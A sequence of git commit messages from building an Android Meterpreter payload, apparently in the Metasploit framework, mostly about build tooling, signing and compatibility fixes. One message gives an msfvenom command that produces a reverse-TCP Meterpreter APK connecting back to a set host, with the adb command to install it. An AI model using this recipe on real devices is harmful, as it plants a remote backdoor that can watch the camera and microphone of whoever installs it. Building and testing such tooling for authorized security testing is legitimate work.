added add_sub encoder for x86 payloads
android meterpreter
remove unused resources and fix whitespace
fix obvious breakage
Fix trailing whitespace in zip files
Add in-line signing

Signing the generated APK in the module means users don't have to have
keytool or jarsigner to create a working package.

Example usage:
  ./msfvenom -p android/meterpreter/reverse_tcp \
    LHOST=192.168.99.1 LPORT=2222 -f raw > meterp.apk
  adb install ./meterp.apk
Merge pull request #1 from jlee-r7/landing-1708-android-meterp

Add in-line signing
make android build conditional on -Dandroid.sdk.path=
Use 1.4 version of net_config_get_interfaces

Apparently Android API 3 does not know the getMTU() function, which was
added in Java 1.6, and in Android API Level 9 (Gingerbread). Therefore,
fall back to the 1.4 version that does not need this API.
Add animal-sniffer-plugin for Android API

Include the animal-scents for Android API in this commit, so that users
who do not have Android SDK can still check meterpreter API compatibility
with Android API. Some classes, like screenshot have been excluded since
they need AWT (but they are excluded in Android Meterpreter anyway).

To regenerate the scents file, run

mvn -Dandroid.sdk.path=... -P regenerate package
Call dx from Maven profile

Convert the dx calls from build.sh to equivalent exec calls in Maven
deploy profile.

While this commit takes into account differences between Windows and *nix,
it was only tested on Windows, and the resulting binaries have not been
tested at all!

In addition, I was not able to pass individual .class file names to dx
without getting a "class name does not match path" error, so I changed it
to copy all required classes into a temp directory and call dx from there.

I also changed the cross-project paths to refer to the respective Maven
classpath, so in case you do an individual project build, the library
dependencies are taken from the Maven repository instead of taking them
from the target/ directory of the projects directly.
undo free bsd error handling
Merge pull request #2 from schierlm/android-scents

Animal-Sniffer-Plugin for Android
Merge pull request #3 from schierlm/android-deploy-profiles

Call dx from Maven profile
Android Meterpreter bugfixes

- classes.dex gets mangled on windows; use binary mode when reading it
- UnknownHostExceptions on API Level 3 emulator because of trailing
  whitespace after the hostname/IP
- Work around integer overflow at year 2038 when signing the payload
Merge pull request #4 from schierlm/android-fixes

Android Meterpreter bugfixes
include javapayload in the dx build path
camera fixes and add wav header to audio record
Allow user ability to set filename for psexec service binary

This should probably be higher up for all
generate_payload_exe but would take a major edit
move filename init up to remove dup code

as suggested by @jlee-r7